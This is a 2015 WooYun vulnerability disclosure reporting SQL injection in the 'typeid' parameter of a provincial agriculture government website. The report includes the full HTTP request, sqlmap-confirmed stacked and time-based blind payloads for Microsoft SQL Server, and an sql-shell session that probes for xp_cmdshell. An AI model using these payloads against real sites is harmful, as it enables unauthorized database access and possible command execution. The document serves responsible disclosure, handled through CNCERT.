当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156157

漏洞标题:某省农业部官网SQL注入两处#可获取sql-shell

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-11-28 00:14

修复时间:2016-01-16 17:42

公开时间:2016-01-16 17:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-28: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经确认,细节仅向厂商公开
2015-12-12: 细节向核心白帽子及相关领域专家公开
2015-12-22: 细节向普通白帽子公开
2016-01-01: 细节向实习白帽子公开
2016-01-16: 细节向公众公开

简要描述:

RT

详细说明:

0x01 漏洞网站

**.**.**.**


0x02 漏洞类型

盲注  GET


0x03 漏洞请求参数

GET /ahwlw/detail.asp?id=99B4CE72-ED95-40C6-A295-5A181BEFF48F&typeid=1 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**:80/
Cookie: ASPSESSIONIDSASTRRQC=FDDGAMGCNCHIDKBLJMJCFLAN; _gscu_84751418=48460957liev5014; _gscs_84751418=48460957jwg7l014|pv:15; _gscbrs_84751418=1
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

注入关键字typeid

漏洞证明:

---
Place: GET
Parameter: typeid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=99B4CE72-ED95-40C6-A295-5A181BEFF48F&typeid=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=99B4CE72-ED95-40C6-A295-5A181BEFF48F&typeid=1 WAITFOR DELAY '0:0:5'--
---
[11:48:58] [INFO] testing Microsoft SQL Server
[11:48:58] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[11:49:05] [INFO] confirming Microsoft SQL Server
[11:49:16] [INFO] adjusting time delay to 3 seconds due to good response times
[11:49:20] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008


执行一下sql-shell试试

---
Place: GET
Parameter: typeid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=99B4CE72-ED95-40C6-A295-5A181BEFF48F&typeid=1; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=99B4CE72-ED95-40C6-A295-5A181BEFF48F&typeid=1 WAITFOR DELAY '0:0:5'--
---
[20:13:43] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8 or 2012
web application technology: ASP, Microsoft IIS 8.0
back-end DBMS: Microsoft SQL Server 2008
[20:13:43] [INFO] calling Microsoft SQL Server shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
[20:13:47] [INFO] fetching SQL SELECT statement query output: 'select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell''
[20:13:47] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[20:14:00] [INFO] heuristics detected web page charset 'GB2312'
[20:14:00] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[20:14:07] [INFO] retrieved: 5
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell': '5'
sql-shell>


ok,没问题

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-02 17:40

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给安徽分中心,由其后续协调网站管理单位处置。

最新状态:

暂无